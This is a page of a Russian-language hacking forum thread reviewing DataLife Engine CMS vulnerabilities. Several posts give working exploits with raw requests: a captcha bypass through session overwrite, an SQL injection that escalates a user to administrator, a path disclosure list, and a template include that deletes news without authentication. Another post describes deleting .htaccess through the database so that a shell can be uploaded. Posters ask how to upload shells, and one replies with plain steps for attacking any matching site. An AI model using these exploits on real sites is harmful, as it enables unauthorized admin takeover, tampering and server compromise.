[ Обзор уязвимостей DataLife Engine ]

Discussion in 'Веб-уязвимости' started by Solide Snake, 28 Oct 2007.

  1. zebrum

    zebrum New Member

    Joined:
    27 Dec 2009
    Messages:
    12
    Likes Received:
    2
    Reputations:
    0


    Криптостойкость ключа 14^34 = 929722225368296217729286886758826377216 вариантов для перебора

    До
    PHP:
    $salt "abchefghjkmnpqrstuvwxyz0123456789";
                
    srand( ( double ) microtime() * 1000000 );
                
                for(
    $i 0$i 15$i ++) {
                    
    $rand_lost .= $salt{rand033 )};
                }
                
                
    $lostid sha1md5$lostname $lostmail ) . time() . $rand_lost );

    После
    PHP:
    if(function_exists('openssl_random_pseudo_bytes')) {
                
                    
    $stronghash md5(openssl_random_pseudo_bytes(15));
                
                } else 
    $stronghash md5(uniqidmt_rand(), TRUE ));
            
                
    $salt sha1str_shuffle("abchefghjkmnpqrstuvwxyz0123456789".$lostpass.$stronghash) . microtime() );
                
    $rand_lost '';
                
                for(
    $i 0$i 15$i ++) {
                    
    $rand_lost .= $salt{mt_rand039 )};
                }
                
                
    $lostid sha1md5$lostname $lostmail ) . time() . $rand_lost );
     
  2. temaprikol

    temaprikol New Member

    Joined:
    26 Apr 2007
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    можно загрузить свою картинку, все что после "image=" идет в код
    Code:
    <script language='javascript'>  document.write( "<img src='ВОТ СЮДА' border=0>" );  </script>
    как можно использовать? были идеи в jpg записать php код, но как его запустить?

    цель всего этого: загрузить новый .htaccess
     
  3. FlooP1k

    FlooP1k Banned

    Joined:
    28 Jul 2010
    Messages:
    95
    Likes Received:
    66
    Reputations:
    48
    а какой смысл загружать новый .htaccess если можно записать любой php код ??
    Даже если ДЛЕ 9.0+ все равно можно залить шелл в основную папку или туда тоже нельзя? В крайнем случае тогда можно заменить фразу Disallow на Allow в .htaccess

    UPD: не так понял написанное, сорр мой фэйл.
     
    #243 FlooP1k, 23 Oct 2012
    Last edited: 23 Oct 2012
  4. wiepipl

    wiepipl Banned

    Joined:
    22 Apr 2009
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    Подскажите как залить через админ панель шел версии 9.4 9.6
     
  5. RFOPlayer

    RFOPlayer New Member

    Joined:
    11 Dec 2011
    Messages:
    2
    Likes Received:
    1
    Reputations:
    0
    Как заливаться на дле 9,6-9,7 подскажет кто нибудь?
     
  6. SecondLife

    SecondLife Elder - Старейшина

    Joined:
    8 May 2011
    Messages:
    30
    Likes Received:
    21
    Reputations:
    21
    DLE 0day Captcha bypass

    Обходим стандартную каптчу на последних версиях скрипта (в т.ч. 9.7)
    на примере регистрации
    Code:
    POST /?do=register
    
    dle_rules_accept=yes
    
    set_direction_sort=1
    dledirection=desc
    set_new_sort=sec_code_session
    dlenewssortby=date
    sec_code=date
    
    name=name
    [email protected]
    password1=pass
    password2=pass
    
    submit_reg=register
    PoC
    Стандартный генератор каптчи записывает значение секретного кода в сессию:
    engine/modules/antibot.php
    PHP:
    $im = new genrandomimage();
    $im->genstring();

    $_SESSION['sec_code_session'] = $im->keystring;
    А в файле engine/init.php есть код определения порядка сортировки:
    PHP:
    if (isset ( $_POST['set_new_sort'] ) and $config['allow_change_sort']) {
        
        
    $allowed_sort = array (
                                
    'date'
                                
    'rating'
                                
    'news_read'
                                
    'comm_num'
                                
    'title' );
        
        
    $find_sort str_replace "."""totranslit $_POST['set_new_sort'] ) );
        
    $direction_sort str_replace "."""totranslit $_POST['set_direction_sort'] ) );
        
        if (
    in_array $_POST['dlenewssortby'], $allowed_sort )) {
            
            if (
    $_POST['dledirection'] == "desc" or $_POST['dledirection'] == "asc") {
                
                
    $_SESSION[$find_sort] = $_POST['dlenewssortby'];
                
    $_SESSION[$direction_sort] = $_POST['dledirection'];
                
    $_SESSION['dle_no_cache'] = "1";
            
            }
        
        }

    }
    он позволяет записать одно из фиксированных значение в произвольное поле сессии.

    Подставляем одно из возможных значение в поле sec_code_session и передаем его же вместо кода проверки

    (c) SecondLife
     
    #246 SecondLife, 18 Nov 2012
    Last edited: 18 Nov 2012
    1 person likes this.
  7. SecondLife

    SecondLife Elder - Старейшина

    Joined:
    8 May 2011
    Messages:
    30
    Likes Received:
    21
    Reputations:
    21
    Path disclousure

    Path disclousure версия 9.7 и ниже
    Файлы:
    Code:
    /engine/ajax/allvotes.php
    /engine/ajax/antivirus.php
    /engine/ajax/complaint.php
    /engine/ajax/deletecomments.php
    /engine/ajax/editcomments.php
    /engine/ajax/editnews.php
    /engine/ajax/find_relates.php
    /engine/ajax/message.php
    /engine/ajax/newsletter.php
    /engine/ajax/poll.php
    /engine/ajax/search.php
    /engine/ajax/typograf.php
    /engine/ajax/adminfunction.php
    /engine/ajax/clean.php
    /engine/ajax/rebuild.php
    /engine/ajax/rss.php
    /engine/ajax/sitemap.php
    /engine/ajax/templates.php
    /engine/ajax/upload.php
    запрос:
    Code:
    POST %file%
    
    login=
    (c) SecondLife
     
  8. SecondLife

    SecondLife Elder - Старейшина

    Joined:
    8 May 2011
    Messages:
    30
    Likes Received:
    21
    Reputations:
    21
    SQL injection 0day

    SQL injection 0day и получение админки для 9.7 и младше

    Requirements:
    Code:
    [COLOR=Green]user account[/COLOR]
    register_globals [COLOR=Red]on[/COLOR]
    magic_quotes_gpc [COLOR=Red]off[/COLOR]
    Файл - максимальная версия скрипта
    Code:
    /engine/ajax/adminfunction.php			[COLOR=Red]9.6[/COLOR]
    /engine/ajax/allvotes.php			[COLOR=Green]9.7[/COLOR]
    /engine/ajax/antivirus.php			[COLOR=Green]9.7[/COLOR]
    /engine/ajax/clean.php				[COLOR=Green]9.7[/COLOR]
    /engine/ajax/complaint.php			[COLOR=Red]9.6[/COLOR]
    /engine/ajax/deletecomments.php			[COLOR=Green]9.7[/COLOR]
    /engine/ajax/find_relates.php			[COLOR=Green]9.7[/COLOR]
    /engine/ajax/message.php			[COLOR=Green]9.7[/COLOR]
    /engine/ajax/newsletter.php			[COLOR=Green]9.7[/COLOR]
    /engine/ajax/pm.php				[COLOR=Green]9.7[/COLOR]
    /engine/ajax/poll.php				[COLOR=Green]9.7[/COLOR]
    /engine/ajax/rebuild.php			[COLOR=Green]9.7[/COLOR]
    /engine/ajax/rss.php				[COLOR=Green]9.7[/COLOR]
    /engine/ajax/search.php				[COLOR=Green]9.7[/COLOR]
    /engine/ajax/sitemap.php			[COLOR=Green]9.7[/COLOR]
    /engine/ajax/templates.php			[COLOR=Green]9.7[/COLOR]
    /engine/ajax/typograf.php			[COLOR=Green]9.7[/COLOR]
    /engine/ajax/upload.php				[COLOR=Green]9.7[/COLOR]
    /engine/ajax/vote.php				[COLOR=Green]9.7[/COLOR]
    Request
    Code:
    POST %file%
    
    _TIME=0', user_group='1
    login_name=[COLOR=Green]real_username[/COLOR]
    login_password=[COLOR=Green]real_password[/COLOR]
    login=submit
    PoC
    Неопределенная переменная $_TIME в некоторых случаях, внедрение кода в UPDATE запрос в файле /engine/modules/sitelogin.php
    PHP:
    $db->query"UPDATE " USERPREFIX "_users set hash='" $hash "', lastdate='{$_TIME}', logged_ip='" $_IP "' WHERE user_id='{$member_id['user_id']}'" );
    (c) SecondLife
     
    #248 SecondLife, 18 Nov 2012
    Last edited: 18 Nov 2012
    2 people like this.
  9. lansia

    lansia New Member

    Joined:
    6 Feb 2011
    Messages:
    111
    Likes Received:
    4
    Reputations:
    5


    как юзать??)))
     
  10. SecondLife

    SecondLife Elder - Старейшина

    Joined:
    8 May 2011
    Messages:
    30
    Likes Received:
    21
    Reputations:
    21
    Ищешь сайт подходящий по требованиям, регаешь там учетку, делаешь POST запрос к любому из файлов в списке и отправляешь необходимый набор полей подставив свой логин и пароль
     
  11. kacergei

    kacergei Member

    Joined:
    26 May 2007
    Messages:
    297
    Likes Received:
    89
    Reputations:
    1
    Неотказался бы от примера использования данной баги
     
  12. DcZ

    DcZ New Member

    Joined:
    30 May 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    если есть доступ к БД(phpmyadmin к примеру) заливаешь любой файл с допустимым форматом потом в таблице dle_files меняешь у файла значение onserver на .htaccess и удаляешь файл через админку. Вместо загруженного файла удалится .htaccess
    Таким же образом можно удалить в принципе любой .htaccess если вписывать типа ../.htaccess
    Осталось выяснить как залить шеллку в обход
    PHP:
    if( stripos $serverfile"php" ) !== false ) die("Hacking attempt!");
    if( 
    stripos $serverfile"phtml" ) !== false ) die("Hacking attempt!");
    if( 
    stripos $serverfile".htaccess" ) !== false ) die("Hacking attempt!");
     
  13. Zed0x

    Zed0x Member

    Joined:
    4 Jun 2012
    Messages:
    114
    Likes Received:
    29
    Reputations:
    23
    perl шеллы, не?
     
  14. Avtoritet

    Avtoritet Member

    Joined:
    29 Sep 2010
    Messages:
    174
    Likes Received:
    10
    Reputations:
    -5
    кто начал раскручивать данную скулю? подскажите с чего начать то?
     
  15. djumiksc

    djumiksc New Member

    Joined:
    29 Nov 2012
    Messages:
    1
    Likes Received:
    2
    Reputations:
    0
    Если не сложно подробней пожалуйста, или в личку
     
  16. slva2000

    slva2000 New Member

    Joined:
    20 Nov 2009
    Messages:
    42
    Likes Received:
    2
    Reputations:
    0
    ГЫ:
    dle-news.ru, админ, celsoft:

    Главное, не забывать добавить аддслешес, отключая "старую", не нужную...

    thx
     
    #256 slva2000, 2 Dec 2012
    Last edited: 2 Dec 2012
  17. slva2000

    slva2000 New Member

    Joined:
    20 Nov 2009
    Messages:
    42
    Likes Received:
    2
    Reputations:
    0
    Не знаю, насколько она приватная, если есть в посте годом раньше, но в init.php версии уже 8,0 есть:

    PHP:
    if (isset ( $_REQUEST['cstart'] )) $cstart intval $_GET['cstart'] ); else $cstart 0;
    а в более новых версиях так же добавили проверку на величину:

    PHP:
    if ($cstart 9000000) {

        
    header"Location: ".str_replace("index.php","",$_SERVER['PHP_SELF']) );
        die();
    }
    По первому коду: любые данные (пост, куки или гет), тут же переводятся в целое, а при неудаче - присваивается 0.
    По второму, думаю понятно..
     
  18. ysmat

    ysmat Member

    Joined:
    20 Apr 2006
    Messages:
    89
    Likes Received:
    5
    Reputations:
    -3
    sql в static.php
    правда я думаю что малоитересная так как требует
    global = on
    magic_quotes_gpc = Off


    Code:
    POST http://dl75.ru/index.php?do=rules 
    HTTP/1.0 
    Host: dl75.ru 
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1 
    Connection: Close 
    Content-Type: application/x-www-form-urlencoded 
    Content-length: 38  
    static_result[id]=99999999999'9999999

    результат
    Code:
    MySQL Error!
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '9999999'' at line 1
    UPDATE dle_static set views=views+1 where id='99999999999'9999999'
     
    #258 ysmat, 7 Jan 2013
    Last edited by a moderator: 7 Jan 2013
    1 person likes this.
  19. slva2000

    slva2000 New Member

    Joined:
    20 Nov 2009
    Messages:
    42
    Likes Received:
    2
    Reputations:
    0
    Последняя офф. уязвимость очень жёсткая: переопределение множества переменных возможно через файлы шаблонов.

    Необходимо иметь возможность редактировать шаблоны

    Целка опасается за переменные:
    $file_path
    $file_name
    $is_logged
    $member_id
    $cat_info
    $config
    $user_group
    $category_id
    $smartphone_detected
    $dle_module

    Их то и можно переопределить в шаблоне, обратившись к тому файлу, в которых они явно не заданы.

    Но на самом деле, этих переменных гораздо больше, они закрыли лишь явно самые опасные.

    Пример:

    Этот простой запрос, без авторизации на сайте удалит новость с id=2

    Запрос: http://site.ru/?hash=111&id=2
    Изменения в файле: main.tpl:
    HTML:
    {include file="engine/modules/deletenews.php?is_logged=1&member_id[user_group]=1&dle_login_hash=111&hash=111"}
    Дальше всё зависит от вашей фантазии и знания языка. Держись, ДЛЕ :)
     
    #259 slva2000, 15 Jan 2013
    Last edited: 15 Jan 2013
  20. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    не прошло и 3х лет как эту багу прикрыли)) лежит в РОА как способ заливки шелла из админки

    PS описывать не буду, кто не учил пхп идут учить :D
    PSS slva2000 слепой что ли is_logged и member_id попадает под фильтр, главное что прикрыли способ заливки шелла
     
    #260 chekist, 15 Jan 2013
    Last edited: 15 Jan 2013